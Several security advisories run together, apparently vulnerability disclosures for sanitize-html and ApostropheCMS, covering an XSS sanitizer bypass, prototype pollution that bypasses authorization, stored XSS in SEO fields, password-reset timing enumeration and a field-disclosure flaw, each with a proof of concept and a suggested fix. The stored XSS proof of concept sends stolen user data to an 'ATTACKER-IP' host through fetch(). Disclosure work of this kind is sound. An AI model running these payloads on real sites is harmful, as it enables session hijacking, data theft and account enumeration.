Summary A mutation-XSS / allowedTags bypass: when textarea (or xmp) is included in allowedTags, an input containing a literal </textarea/> (a solidus right after the RCDATA end-tag name) lets non-allowed markup such as <img src=x onerror=…> pass through sanitizeHtml() live and unescaped, even though img/onerror are not in the allowlist. A spec-compliant browser executes the surviving handler — XSS. This is a literal-solidus variant that bypasses the two most recent fixes in this code area (CVE-2026-40186, CVE-2026-44990), both already applied in 2.17.5. The default configuration is not affected.
Details sanitize-html emits the text content of HTML raw-text elements (textarea, xmp) without escaping. Two things combine: - Parser differential: on input, htmlparser2 does NOT recognize </textarea/> (solidus after the RCDATA end-tag name) as a close tag; it emits </textarea/><img …> as a single raw-text node. - Unescaped passthrough: the ontext handler (index.js ~575-583) appends textarea/xmp content with result += text (no escapeHtml), assuming it is "already properly encoded" — true for entity-decoded content (what CVE-2026-40186 fixed) but false for this mis-tokenized literal close tag. A spec browser treats </textarea/> as a valid textarea close, so the following <img onerror> is parsed as a live element. The recent fixes addressed entity-encoding (CVE-2026-40186) and the xmp default (CVE-2026-44990); neither covers the literal-solidus mis-tokenization, so the raw passthrough still leaks.
PoC js // npm i sanitize-html@2.17.5 parse5 && node poc.js const sanitizeHtml = require('sanitize-html'); const input = '<textarea></textarea/><img src=x onerror="alert(document.domain)">'; const opts = { allowedTags: sanitizeHtml.defaults.allowedTags.concat(['textarea']) }; // img NOT allowed console.log(sanitizeHtml(input, opts)); // => <textarea></textarea/><img src=x onerror="alert(document.domain)"></textarea> // the <img onerror> survives live and unescaped
console.log(sanitizeHtml(input)); // default config (no textarea allowed) => "" (safe) Re-parsing the sanitized OUTPUT with parse5 (the WHATWG HTML parser browsers/jsdom use) yields a live <img src=x onerror=alert(document.domain)> at body level (it escaped the textarea RCDATA, not inert text) → the onerror fires in a browser. Confirmed on 2.17.5 (Node v24). A canonical poc.js is attached. <img width="650" height="118" alt="image" src="https://github.com/user-attachments/assets/d63bb5b7-ba3e-4b0e-a821-86a453ea0352" />
Impact Cross-site scripting (CWE-79). Requires textarea (or xmp) in allowedTags — a benign-looking, common addition in form builders, CMS, and rich-text editors. Adding a harmless tag that then enables XSS via non-allowed img/onerror breaks the sanitizer's core contract; the maintainers have fixed this class before (e.g. GHSA-9mrh). An attacker who can submit content rendered through such a configuration achieves stored/reflected XSS (cookie theft, session hijack). Severity Medium (default config is safe; user interaction to view the page). Suggested fix: route textarea/xmp content through escapeHtml instead of the raw passthrough, and/or fix the htmlparser2 </tag/> RCDATA end-tag tokenization to match the WHATWG spec.
<img width="1919" height="1046" alt="proto" src="https://github.com/user-attachments/assets/c5c69718-6448-448d-b64b-e3db41ab6ff6" />
Summary
apos.util.set() traverses dot-notation paths without sanitizing proto, allowing an authenticated editor to write arbitrary values to Object.prototype via the $pullAll patch operator.
A confirmed gadget in publicApiCheck() causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process.
---
Details
Root Cause — apos.util.set() (modules/@apostrophecms/util/index.js ~line 800)
The function splits a dot-notation path and traverses properties without rejecting proto, constructor, or prototype:
js set(o, path, v) { path = path.split('.'); for (i = 0; i < path.length - 1; i++) { o = o[path[i]]; // when path[i] === 'proto', o becomes Object.prototype } o[path[i]] = v; // mutates Object.prototype }
Source — implementPatchOperators() (modules/@apostrophecms/schema/index.js ~line 1737)
User-controlled keys from the $pullAll operator are passed directly to apos.util.set():
js .each(patch.$pullAll, function(val, key) { cloneOriginalBase(key); // uses .has (hasOwnProperty) self.apos.util.set(patch, key, ...); // key is fully attacker-controlled });
cloneOriginalBase() does not sanitize proto because .has() performs an own-property check. Since proto is inherited rather than an own property, the clone step is skipped and execution falls through to apos.util.set().
The same unsanitized call also appears for direct dot-notation keys in the PATCH body (~line 1811), providing a second independent entry point.
---
Gadget — publicApiCheck() (modules/@apostrophecms/piece-type/index.js ~line 1148)
js publicApiCheck(req) { if (!self.options.publicApiProjection) { if (!self.canAccessApi(req)) { throw self.apos.error('notfound'); } } }
Once Object.prototype.publicApiProjection is set to any truthy value (for example []), every module instance inherits it.
Because JavaScript property lookup resolves inherited properties from Object.prototype, the condition:
js !self.options.publicApiProjection
evaluates to false for all modules.
As a result, the authorization check is skipped for every subsequent request handled by the process.
---
Proof of Concept
Environment: ApostropheCMS v4.30.0, Node.js, MongoDB
Prerequisites: Editor-level credentials
Step 1 — Confirm Endpoint Is Protected (Unauthenticated)
bash curl -s http://localhost:3000/api/v1/@apostrophecms/user
Response:
json {"name":"notfound","data":{},"message":"notfound"}
---
Step 2 — Obtain Editor Token
bash TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \ -H "Content-Type: application/json" \ -d '{"username":"editor","password":"..."}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
---
Step 3 — Poison Object.prototype via $pullAll
bash curl -X PATCH "http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -H "Cookie: apos-testapp.csrf=csrf" \ -H "X-XSRF-TOKEN: csrf" \ -d '{"$pullAll":{"proto.publicApiProjection":[]}}'
Response:
http HTTP/1.1 200 OK
---
Step 4 — Authorization Bypass Confirmed (Unauthenticated)
bash curl -s http://localhost:3000/api/v1/@apostrophecms/user
Response:
json {"pages":0,"currentPage":1,"results":[]}
The endpoint now returns a valid paginated response instead of notfound.
No credentials are supplied.
Execution passes publicApiCheck() and reaches query processing. The empty result set reflects document-level visibility filtering; the authorization gate itself has been bypassed.
Cleanup
The pollution persists until the Node.js process is restarted.
---
Impact
Vulnerability Type
Server-Side Prototype Pollution leading to Authorization Bypass (CWE-1321)
Who Is Impacted
Any ApostropheCMS installation where at least one editor-level account exists.
This is the default configuration for multi-user CMS deployments.
Security Impact
A single PATCH request from an editor permanently modifies authorization behavior for the entire Node.js process.
All subsequent unauthenticated requests to piece-type REST API endpoints bypass publicApiCheck().
Verified affected endpoints include:
- @apostrophecms/user - @apostrophecms/global
Based on the shared authorization implementation, other piece-type REST endpoints appear similarly affected.
The bypass affects every unauthenticated visitor until the server is restarted.
---
Suggested Fix
Reject dangerous prototype-related path segments before traversal:
js if ( p === 'proto' || p === 'constructor' || p === 'prototype' ) { return; }
Apply the same validation both:
1. Inside apos.util.set() 2. Before passing user-controlled keys into apos.util.set() from implementPatchOperators()
---
ApostropheCMS is an open-source Node.js content management system. Versions up to and including 4.29.0 are vulnerable to stored cross-site scripting via unsanitized user display name in draft version tooltip. As of time of publication, no known patched versions are available.
Summary
A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.
Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.
Affected Version ApostropheCMS (tested on version: v4.28.0)
Vulnerability Details User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:
- <title> - <meta> attributes - structured data (JSON-LD)
This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.
PoC 1
The following payload demonstrates breaking out of HTML context: javascript "></title><script>alert(1)</script> This confirms: - Improper output encoding - Ability to escape <title> / <meta> contexts - Arbitrary script execution
PoC 2 This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data. javascript "></title><script> fetch('/api/v1/@apostrophecms/user', { credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) </script>
Video Proof of Concept
Watch the following YouTube video for a full demonstration of the exploit:
PoC Video: https://youtu.be/FZuuluapa8
Steps to Reproduce
1. Start a local listener: python3 -m http.server 5656 2. Login to ApostropheCMS as an authenticated user 3. Create or edit a page 4. Navigate to SEO settings 5. Insert the payload into the SEO Title field and Meta Description javascript "></title><script> fetch('/api/v1/@apostrophecms/user',{ credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) </script> 6. Set Schema Type to "Web page" 7. Save and publish the page 8. Have an administrator visit the page
Result - The payload executes in the admin’s browser - The script sends a request to: /api/v1/@apostrophecms/user - The response contains sensitive user data: - usernames - email addresses - roles (including admin)
- The data is exfiltrated to the attacker-controlled server: - http://ATTACKER-IP:5656
Evidence - The attacker server receives: - GET /?data=BASE64ENCODEDRESPONSE - Decoding the response reveals sensitive application data.
Security Impact This vulnerability allows an attacker to: - Execute arbitrary JavaScript in an authenticated admin context - Perform authenticated API requests (session riding) - Access sensitive application data via internal APIs - Exfiltrate sensitive data to an external attacker-controlled server
Summary
The password reset endpoint (/api/v1/@apostrophecms/login/reset-request) exhibits a measurable timing side channel that allows unauthenticated attackers to enumerate valid usernames and email addresses. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs database writes and SMTP operations with no equivalent delay normalization, producing a distinguishable timing profile.
Details
The resetRequest handler in modules/@apostrophecms/login/index.js attempts to obscure the user-not-found path with an artificial delay, but fails to normalize the timing of the user-found path:
User not found — fixed 2000ms delay (index.js:309-314): javascript if (!user) { await wait(); // wait = (t = 2000) => Promise.delay(t) self.apos.util.error( Reset password request error - the user ${email} doesn\t exist. ); return; }
User found — variable-duration DB + SMTP operations, no artificial delay (index.js:323-355): javascript const reset = self.apos.util.generateId(); user.passwordReset = reset; user.passwordResetAt = new Date(); await self.apos.user.update(req, user, { permissions: false }); // ... URL construction ... await self.email(req, 'passwordResetEmail', { user, url: parsed.toString(), site }, { to: user.email, subject: req.t('apostrophe:passwordResetRequest', { site }) });
The user-found path includes a MongoDB update() call and an SMTP email() send, which together produce response times that differ measurably from the fixed 2000ms delay. Depending on SMTP server latency, responses for valid users will either be noticeably faster (local/fast SMTP) or slower (remote SMTP) than the constant 2-second delay for invalid users.
Additionally, the getPasswordResetUser method (index.js:664-666) accepts both username and email via an $or query, enabling enumeration of both identifiers: javascript const criteriaOr = [ { username: email }, { email } ];
There is no rate limiting on the reset endpoint. The checkLoginAttempts throttle (index.js:978) is only applied to the login flow, allowing unlimited rapid probing of the reset endpoint.
PoC
Prerequisites: An Apostrophe instance with passwordReset: true enabled in @apostrophecms/login configuration.
Step 1 — Baseline invalid user timing: bash for i in $(seq 1 10); do curl -s -o /dev/null -w "%{timetotal}\n" \ -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \ -H "Content-Type: application/json" \ -d '{"email": "nonexistent-user-'$i'@example.com"}' done Expected: all responses cluster tightly around 2.0xx seconds
Step 2 — Test known valid user: bash for i in $(seq 1 10); do curl -s -o /dev/null -w "%{timetotal}\n" \ -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \ -H "Content-Type: application/json" \ -d '{"email": "admin"}' done Expected: response times differ from 2.0s baseline (faster with local SMTP, slower with remote SMTP)
Step 3 — Statistical comparison: The two distributions will show a measurable divergence. With a local mail server, valid-user responses typically complete in <500ms. With a remote SMTP server, valid-user responses may take 3-5+ seconds. Either way, the timing is distinguishable from the fixed 2000ms invalid-user delay.
Impact
- Account enumeration: An unauthenticated attacker can determine whether a given username or email address has an account in the Apostrophe instance. - Credential stuffing preparation: Confirmed valid accounts can be targeted with credential stuffing attacks using breached password databases. - Phishing targeting: Knowledge of valid accounts enables targeted phishing campaigns against confirmed users. - No rate limiting: The absence of throttling on the reset endpoint allows high-speed automated enumeration. - Mitigating factor: The passwordReset option defaults to false (index.js:62), so only instances that explicitly enable password reset are affected.
Recommended Fix
Normalize all code paths to a constant minimum duration, ensuring the response time does not leak whether a user was found:
javascript async resetRequest(req) { const MINRESPONSETIME = 2000; const startTime = Date.now(); const site = (req.headers.host || '').replace(/:\d+$/, ''); const email = self.apos.launder.string(req.body.email); if (!email.length) { throw self.apos.error('invalid', req.t('apostrophe:loginResetEmailRequired')); } let user; try { user = await self.getPasswordResetUser(req.body.email); } catch (e) { self.apos.util.error(e); } if (!user) { self.apos.util.error( Reset password request error - the user ${email} doesn\t exist. ); } else if (!user.email) { self.apos.util.error( Reset password request error - the user ${user.username} doesn\t have an email. ); } else { const reset = self.apos.util.generateId(); user.passwordReset = reset; user.passwordResetAt = new Date(); await self.apos.user.update(req, user, { permissions: false }); let port = (req.headers.host || '').split(':')[1]; if (!port || [ '80', '443' ].includes(port)) { port = ''; } else { port = :${port}; } const parsed = new URL( req.absoluteUrl, self.apos.baseUrl ? undefined : ${req.protocol}://${req.hostname}${port} ); parsed.pathname = self.login(); parsed.search = '?'; parsed.searchParams.append('reset', reset); parsed.searchParams.append('email', user.email); try { await self.email(req, 'passwordResetEmail', { user, url: parsed.toString(), site }, { to: user.email, subject: req.t('apostrophe:passwordResetRequest', { site }) }); } catch (err) { self.apos.util.error(Error while sending email to ${user.email}, err); } } // Pad all paths to a constant minimum duration const elapsed = Date.now() - startTime; if (elapsed < MINRESPONSETIME) { await Promise.delay(MINRESPONSETIME - elapsed); } },
Additionally, consider applying rate limiting to the reset-request endpoint to prevent high-speed enumeration attempts.
Summary
The choices and counts query parameters in the Apostrophe CMS REST API allow unauthenticated users to extract distinct field values for any schema field that has a registered query builder, completely bypassing publicApiProjection restrictions that are intended to limit which fields are exposed publicly. Fields protected by viewPermission are similarly exposed.
Details
When a piece type configures publicApiProjection to enable public API access while restricting visible fields, the restriction is enforced via a MongoDB projection on the main query (piece-type/index.js:1130-1134). However, the choices and counts query builders bypass this protection through a separate code path.
The vulnerable flow:
1. getRestQuery at piece-type/index.js:1120 calls applyBuildersSafely(req.query) (line 1122), which processes query parameters including choices and counts since both have launder methods (doc-type/index.js:2627-2628 and 2675-2676).
2. The publicApiProjection is applied afterward (line 1130-1134) as a MongoDB projection on the main query.
3. During query execution, the choices builder's after handler (doc-type/index.js:2636-2668) iterates over requested field names. The only validation is: - The field has a registered builder (.has(query.builders, filter) at line 2651) - The builder has a launder method (line 2656)
All schema field types (string, integer, float, select, boolean, date, slug, relationship) register query builders with launder methods via addQueryBuilder in addFieldTypes.js.
4. toChoices (line 2661) calls the field's choices function, which typically calls sortedDistinct → toDistinct. The toDistinct method (doc-type/index.js:2811) executes db.distinct(property, criteria) — a MongoDB operation that returns all distinct values for the given property matching the criteria. MongoDB's distinct operation does not respect projections; it operates directly on the specified field regardless of any projection set on the query.
5. The results are stored via query.set('choicesResults', choices) (line 2666) and returned directly in the API response at piece-type/index.js:292-296 without any filtering against publicApiProjection or removeForbiddenFields.
The same bypass applies to viewPermission-protected fields: removeForbiddenFields (doc-type/index.js:1585-1611) only processes document results from toArray(), not the separate choices/counts data.
The page REST API has the same issue at page/index.js:371-376.
PoC
bash Prerequisites: - An Apostrophe 4.x instance with a piece type configured with publicApiProjection - Example: an 'article' piece type with: publicApiProjection: { title: 1, slug: 1, url: 1 } and additional schema fields like 'status' (select), 'priority' (integer), or 'internalNotes' (string) NOT in the projection
1. Verify normal API access only returns projected fields curl -s 'http://localhost:3000/api/v1/article' | python3 -m json.tool Response results contain only: title, slug, url (as configured)
2. Extract distinct values of a non-projected field via choices curl -s 'http://localhost:3000/api/v1/article?choices=status' | python3 -m json.tool Response includes: "choices": {"status": [{"value": "draft", "label": "draft"}, {"value": "published", "label": "published"}, ...]}
3. Extract distinct values with document counts via counts curl -s 'http://localhost:3000/api/v1/article?counts=priority' | python3 -m json.tool Response includes: "counts": {"priority": [{"value": 1, "label": "1", "count": 15}, {"value": 2, "label": "2", "count": 8}, ...]}
4. Multiple fields can be extracted at once curl -s 'http://localhost:3000/api/v1/article?choices=status,priority,internalNotes'
Impact
- Distinct field values leaked: An unauthenticated attacker can extract all distinct values of any schema field on any piece type that has publicApiProjection configured, even when those fields are explicitly excluded from the projection. - Field types affected: All field types that register query builders: string, slug, integer, float, select, boolean, date, and relationship fields. - Count disclosure: The counts variant additionally reveals how many documents have each distinct value, providing statistical information about the dataset. - viewPermission bypass: Fields protected with viewPermission (intended for role-based field access) are also exposed via this path. - Both APIs affected: The piece-type REST API (piece-type/index.js:292-296) and page REST API (page/index.js:371-376) are both vulnerable. - Real-world impact: If a CMS stores sensitive data in schema fields (e.g., internal status values, priority levels, internal categories, user-facing content marked as restricted), all distinct values are extractable by any unauthenticated visitor.
Recommended Fix
In the choices builder's after handler (doc-type/index.js:2636-2668), add validation to skip fields not permitted by publicApiProjection and viewPermission:
javascript // doc-type/index.js, in the choices builder's after handler (line 2644 area) for (const filter of filters) { if (!.has(query.builders, filter)) { continue; } if (!query.builders[filter].launder) { continue; }
// NEW: Enforce publicApiProjection restrictions on choices/counts const publicApiProjection = query.get('project'); if (publicApiProjection && !publicApiProjection[filter]) { continue; }
// NEW: Enforce viewPermission field restrictions const field = self.schema.find(f => f.name === filter); if (field && field.viewPermission && !self.apos.permission.can(query.req, field.viewPermission.action, field.viewPermission.type)) { continue; }
const query = baseQuery.clone(); queryfilter; choices[filter] = await query.toChoices(filter, { counts: query.get('counts') }); }
Additionally, apply the same fix in the page REST API handler (page/index.js) for consistency.